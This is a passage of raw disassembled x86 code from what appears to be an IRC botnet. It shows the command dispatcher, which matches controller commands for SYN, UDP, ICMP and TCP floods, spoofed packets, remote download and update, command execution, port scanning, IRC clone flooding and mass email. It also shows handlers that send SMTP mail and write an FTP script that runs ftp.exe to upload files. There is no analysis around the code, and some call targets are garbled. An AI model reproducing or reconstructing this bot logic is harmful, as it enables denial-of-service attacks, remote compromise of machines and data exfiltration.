loc_410FF1:				; CODE XREF: sub_40EE72+2173j
		push	offset dword_431EB4
		jmp	loc_4110CE
; ---------------------------------------------------------------------------


loc_410FFB:				; CODE XREF: sub_40EE72+212Dj
		push	edi
		push	offset aUser	; "user"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41107E
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_411057
		cmp	[ebp+var_9C4], bl
		jz	short loc_41102D
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_411047
; ---------------------------------------------------------------------------


loc_41102D:				; CODE XREF: sub_40EE72+21A7j
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		jz	short loc_411051
		push	esi
		push	eax
		push	ebx


loc_411047:				; CODE XREF: sub_40EE72+21B9j
					; sub_40EE72+21E3j
		call	sub_40DE07
		add	esp, 18h
		jmp	short loc_4110AB
; ---------------------------------------------------------------------------


loc_411051:				; CODE XREF: sub_40EE72+21D0j
		push	ebx
		push	eax
		push	2
		jmp	short loc_411047
; ---------------------------------------------------------------------------


loc_411057:				; CODE XREF: sub_40EE72+219Fj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40E337
		add	esp, 10h
		test	eax, eax
		jz	short loc_411077
		push	offset dword_431E7C
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------


loc_411077:				; CODE XREF: sub_40EE72+21FCj
		push	offset dword_431E50
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------


loc_41107E:				; CODE XREF: sub_40EE72+2198j
		push	edi
		push	offset aSend	; "send"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4110C9
		cmp	[ebp+arg_18], ebx
		jz	short loc_4110C2
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E5EB
		add	esp, 10h


loc_4110AB:				; CODE XREF: sub_40EE72+2119j
					; sub_40EE72+214Aj ...
		push	eax
		push	offset aS_1	; "%s"


loc_4110B1:				; CODE XREF: sub_40EE72+4852j
					; sub_40EE72+4B79j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0


loc_4110BD:				; CODE XREF: sub_40EE72+5703j
		add	esp, 0Ch
		jmp	short loc_4110DC
; ---------------------------------------------------------------------------


loc_4110C2:				; CODE XREF: sub_40EE72+2220j
		push	offset dword_431E20
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------


loc_4110C9:				; CODE XREF: sub_40EE72+221Bj
		push	offset dword_431DF4


loc_4110CE:				; CODE XREF: sub_40EE72+203Bj
					; sub_40EE72+20A5j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_4110DC:				; CODE XREF: sub_40EE72+2043j
					; sub_40EE72+224Ej ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_4110FD
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_4110FD:				; CODE XREF: sub_40EE72+226Dj
					; sub_40EE72+4847j ...
		mov	esi, [ebp+arg_24]


loc_411100:				; CODE XREF: sub_40EE72+9B3j
					; sub_40EE72+4B35j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		mov	eax, esi
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_411114:				; CODE XREF: sub_40EE72+2020j
		push	[ebp+arg_8]
		push	offset aCom_capture ; "com.capture"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413400
		push	[ebp+arg_8]
		push	offset aCom_cap	; "com.cap"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413400
		push	[ebp+arg_8]
		push	offset aIrc_gethost ; "irc.gethost"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413312
		push	[ebp+arg_8]
		push	offset aIrc_gh	; "irc.gh"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413312
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aIrc_addalias ; "irc.addalias"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4132E0
		push	[ebp+arg_8]
		push	offset aIrc_aa	; "irc.aa"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4132E0
		push	[ebp+arg_8]
		push	offset aIrc_privmsg ; "irc.privmsg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41328A
		push	[ebp+arg_8]
		push	offset aIrc_pm	; "irc.pm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41328A
		push	[ebp+arg_8]
		push	offset aIrc_action ; "irc.action"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413224
		push	[ebp+arg_8]
		push	offset aIrc_ac	; "irc.ac"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413224
		push	[ebp+arg_8]
		push	offset aIrc_cycle ; "irc.cycle"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4131BB
		push	[ebp+arg_8]
		push	offset aIrc_cy	; "irc.cy"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4131BB
		push	[ebp+arg_8]
		push	offset aIrc_mode ; "irc.mode"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413181
		push	[ebp+arg_8]
		push	offset aIrc_m	; "irc.m"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413181
		push	[ebp+arg_8]
		push	offset aClone_raw ; "clone.raw"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413113
		push	[ebp+arg_8]
		push	offset aClone_ra ; "clone.ra"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413113
		push	[ebp+arg_8]
		push	offset aClone_mode ; "clone.mode"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41308E
		push	[ebp+arg_8]
		push	offset aClone_m	; "clone.m"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41308E
		push	[ebp+arg_8]
		push	offset aClone_nick ; "clone.nick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413022
		push	[ebp+arg_8]
		push	offset aClone_ni ; "clone.ni"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413022
		push	[ebp+arg_8]
		push	offset aClone_join ; "clone.join"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FFC
		push	[ebp+arg_8]
		push	offset aClone_j	; "clone.j"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FFC
		push	[ebp+arg_8]
		push	offset aClone_part ; "clone.part"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F99
		push	[ebp+arg_8]
		push	offset aClone_p	; "clone.p"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F99
		push	[ebp+arg_8]
		push	offset aIrc_repeat ; "irc.repeat"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ED0
		push	[ebp+arg_8]
		push	offset aIrc_rp	; "irc.rp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ED0
		push	[ebp+arg_8]
		push	offset aIrc_delay ; "irc.delay"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E33
		push	[ebp+arg_8]
		push	offset aIrc_de	; "irc.de"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E33
		push	[ebp+arg_8]
		push	offset aDownload_updat ; "download.update"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412CAF
		push	[ebp+arg_8]
		push	offset aDownload_up ; "download.up"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412CAF
		push	[ebp+arg_8]
		push	offset aCom_execute ; "com.execute"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C1C
		push	[ebp+arg_8]
		push	offset aCom_e	; "com.e"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C1C
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1B
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1B
		push	[ebp+arg_8]
		push	offset aCom_rename ; "com.rename"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412AC9
		push	[ebp+arg_8]
		push	offset aCom_mv	; "com.mv"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412AC9
		push	[ebp+arg_8]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129C8
		push	[ebp+arg_8]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129C8
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aClone_make ; "clone.make"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4128DD
		push	[ebp+arg_8]
		push	offset aClone_start ; "clone.start"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4128DD
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127D8
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127D8
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127D8
		push	[ebp+arg_8]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126DA
		push	[ebp+arg_8]
		push	offset aDdos_synf ; "ddos.synf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126DA
		push	[ebp+arg_8]
		push	offset aDownload_wget ;	"download.wget"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412599
		push	[ebp+arg_8]
		push	offset aDownload_wg ; "download.wg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412599
		push	[ebp+arg_8]
		push	offset aDaemon_redirec ; "daemon.redirect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41249C
		push	[ebp+arg_8]
		push	offset aDaemon_rd ; "daemon.rd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41249C
		push	[ebp+arg_8]
		push	offset aRoot_portscan ;	"root.portscan"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123A9
		push	[ebp+arg_8]
		push	offset aRoot_ps	; "root.ps"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123A9
		push	[ebp+arg_8]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122D4
		push	[ebp+arg_8]
		push	offset aClone_pm ; "clone.pm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122D4
		push	[ebp+arg_8]
		push	offset aClone_action ; "clone.action"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4121BC
		push	[ebp+arg_8]
		push	offset aClone_ac ; "clone.ac"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4121BC
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E65
		push	[ebp+arg_8]
		push	offset aAd	; "ad"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E65
		push	[ebp+arg_8]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A65
		push	[ebp+arg_8]
		push	offset aDdos_tcpf ; "ddos.tcpf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A65
		push	[ebp+arg_8]
		push	offset aUtil_email ; "util.email"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41189C
		lea	eax, [ebp+var_3F8]
		push	edi
		push	eax
		call	sub_4179C0
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_DB0]
		push	eax
		call	sub_4179C0
		push	[ebp+arg_10]
		lea	eax, [ebp+var_BA8]
		push	eax
		call	sub_4179C0
		push	offset asc_42A3B4 ; " "
		push	offset a__0	; "_"
		push	[ebp+esi+var_80]
		call	sub_40A7D7
		push	eax
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4179C0
		add	esp, 30h
		lea	eax, [ebp+var_6EC]
		push	eax
		push	101h
		call	dword_43AD10
		lea	eax, [ebp+var_3F8]
		push	eax
		call	dword_43AE1C
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_43AE18
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_2EC], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_2E8], eax
		call	dword_43AD98
		mov	[ebp+var_2EA], ax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_BA8]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		lea	eax, [ebp+var_2EC]
		push	10h
		push	eax
		push	esi
		call	dword_43AD40
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	dword_43ADB0
		lea	eax, [ebp+var_CAC]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_15B0]
		push	eax
		push	esi
		call	dword_43ADE8
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	dword_43ADB0
		push	esi
		call	dword_43AE30
		call	dword_43ACF8
		lea	eax, [ebp+var_BA8]
		push	eax
		push	offset unk_431AA8


loc_411888:				; CODE XREF: sub_40EE72+3B51j
					; sub_40EE72+3E38j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_413A62
; ---------------------------------------------------------------------------


loc_41189C:				; CODE XREF: sub_40EE72+28C0j
		push	[ebp+arg_8]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A34
		push	[ebp+arg_8]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A34
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F47
		push	4
		push	esi
		call	sub_40D000
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411906
		push	esi
		push	offset dword_431A50
		jmp	loc_413BFD
; ---------------------------------------------------------------------------


loc_411906:				; CODE XREF: sub_40EE72+2A87j
		call	near ptr 26308B3h
		nop
		push	eax
		call	sub_417302
		pop	ecx
		call	sub_41730C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41730C
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41730C
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_CB0]
		push	edx
		push	eax
		lea	eax, [ebp+var_BAC]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_BAC]
		push	offset aAb	; "ab"
		push	eax
		call	sub_4179A8
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_40F239
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_417956
		push	[ebp+arg_24]
		call	sub_417900
		add	esp, 20h
		lea	eax, [ebp+var_BAC]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_3F8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43AD0C
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_4119D3
		push	offset dword_4319D8
		jmp	short loc_4119D8
; ---------------------------------------------------------------------------


loc_4119D3:				; CODE XREF: sub_40EE72+2B58j
		push	offset dword_43199C


loc_4119D8:				; CODE XREF: sub_40EE72+2B5Fj
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_411A01
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_411A01:				; CODE XREF: sub_40EE72+2B71j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D


loc_411A0D:				; CODE XREF: sub_40EE72+2BC0j
		lea	eax, [ebp+var_BAC]
		push	4
		push	eax
		call	sub_40D000
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40F239
		lea	eax, [ebp+var_BAC]
		push	eax
		call	sub_419BBA
		jmp	short loc_411A0D
; ---------------------------------------------------------------------------


loc_411A34:				; CODE XREF: sub_40EE72+2A3Bj
					; sub_40EE72+2A52j
		push	[ebp+esi+var_80]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41781F
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_406AF8


loc_411A5D:				; CODE XREF: sub_40EE72+587Aj
		add	esp, 24h
		jmp	loc_414F47
; ---------------------------------------------------------------------------


loc_411A65:				; CODE XREF: sub_40EE72+2892j
					; sub_40EE72+28A9j
					; DATA XREF: ...
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_678]
		push	esi
		push	eax
		call	sub_41782A
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_4176D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_411AC8
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aAck	; "ack"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411AC8
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aRandom	; "random"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411AC8
		push	offset dword_431964
		jmp	loc_4145FE
; ---------------------------------------------------------------------------


loc_411AC8:				; CODE XREF: sub_40EE72+2C1Cj
					; sub_40EE72+2C33j ...
		push	[ebp+arg_10]
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_411BF4
		push	edi
		lea	eax, [ebp+var_678]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_6F8]
		push	[ebp+arg_18]
		push	esi
		push	eax
		call	sub_41782A
		push	[ebp+arg_0]
		call	sub_41781F
		mov	[ebp+var_574], eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_56C], ebx
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_411B65
		mov	eax, offset aNormal ; "Normal"


loc_411B65:				; CODE XREF: sub_40EE72+2CECj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset dword_431910
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Ch
		push	eax
		call	sub_416D5C
		add	esp, 2Ch
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
		push	offset sub_401D82
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0C0Ah
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_411BE3


loc_411BCD:				; CODE XREF: sub_40EE72+2D6Fj
		cmp	[ebp+var_560], ebx
		jnz	loc_41460C
		push	32h
		call	near ptr 2630F90h
		nop
		jmp	short loc_411BCD
; ---------------------------------------------------------------------------


loc_411BE3:				; CODE XREF: sub_40EE72+2D59j
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset dword_4318C8
		jmp	loc_413BFD
; ---------------------------------------------------------------------------


loc_411BF4:				; CODE XREF: sub_40EE72+2C67j
		push	offset dword_431880
		jmp	loc_4145FE
; ---------------------------------------------------------------------------


loc_411BFE:				; CODE XREF: sub_40EE72+284Dj
					; sub_40EE72+2864j ...
		cmp	dword_43AE88, ebx
		mov	esi, [ebp+arg_4]
		jnz	loc_411D09
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		push	[ebp+arg_10]
		mov	[ebp+var_314], eax
		call	sub_41781F
		push	7Fh
		mov	[ebp+var_310], eax
		push	[ebp+var_8C]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_418C10
		add	esp, 24h
		lea	eax, [ebp+var_398]
		mov	[ebp+var_41C], esi
		push	[ebp+var_310]
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_318]
		push	offset unk_431828
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Eh
		push	eax
		call	sub_416D5C
		add	esp, 24h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_40AF86
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0C0Ah
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_411CF8


loc_411CE6:				; CODE XREF: sub_40EE72+2E84j
		cmp	[ebp+var_2FC], ebx
		jnz	short loc_411D22
		push	32h
		nop
		call	near ptr 2630F90h
		jmp	short loc_411CE6
; ---------------------------------------------------------------------------


loc_411CF8:				; CODE XREF: sub_40EE72+2E72j
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset unk_4317E0
		jmp	loc_4128CC
; ---------------------------------------------------------------------------


loc_411D09:				; CODE XREF: sub_40EE72+2D95j
		push	1FFh
		lea	eax, [ebp+var_2DC]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_418C10


loc_411D1F:				; CODE XREF: sub_40EE72+3A66j
		add	esp, 0Ch


loc_411D22:				; CODE XREF: sub_40EE72+2E7Aj
					; sub_40EE72+2FD2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	[ebp+var_4]


loc_411D2F:				; CODE XREF: sub_40EE72+567Ej
		lea	eax, [ebp+var_2DC]
		push	eax
		push	[ebp+var_8C]
		push	esi
		jmp	loc_414629
; ---------------------------------------------------------------------------


loc_411D42:				; CODE XREF: sub_40EE72+2808j
					; sub_40EE72+281Fj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		push	[ebp+arg_10]
		mov	[ebp+var_314], eax
		call	sub_41781F
		mov	esi, [ebp+esi+var_80]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_310], eax
		jz	short loc_411DA7
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_30C], eax
		jmp	short loc_411DAD
; ---------------------------------------------------------------------------


loc_411DA7:				; CODE XREF: sub_40EE72+2F24j
		mov	[ebp+var_30C], ebx


loc_411DAD:				; CODE XREF: sub_40EE72+2F33j
		push	7Fh
		lea	eax, [ebp+var_418]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_398]
		mov	[ebp+var_41C], esi
		push	[ebp+var_310]
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_318]
		push	offset dword_431770
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Fh
		push	eax
		call	sub_416D5C
		add	esp, 24h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_40B112
		push	ebx
		push	ebx
		call	near ptr 26A0C0Ah
		nop
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_411E54


loc_411E3E:				; CODE XREF: sub_40EE72+2FE0j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_411D22
		push	32h
		call	near ptr 2630F90h
		nop
		jmp	short loc_411E3E
; ---------------------------------------------------------------------------


loc_411E54:				; CODE XREF: sub_40EE72+2FCAj
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset dword_431728
		jmp	loc_4128CC
; ---------------------------------------------------------------------------


loc_411E65:				; CODE XREF: sub_40EE72+27DAj
					; sub_40EE72+27F1j
		push	8
		call	sub_416FA4
		push	[ebp+arg_18]
		mov	[ebp+arg_8], eax
		call	sub_41781F
		add	eax, [ebp+arg_8]
		pop	ecx
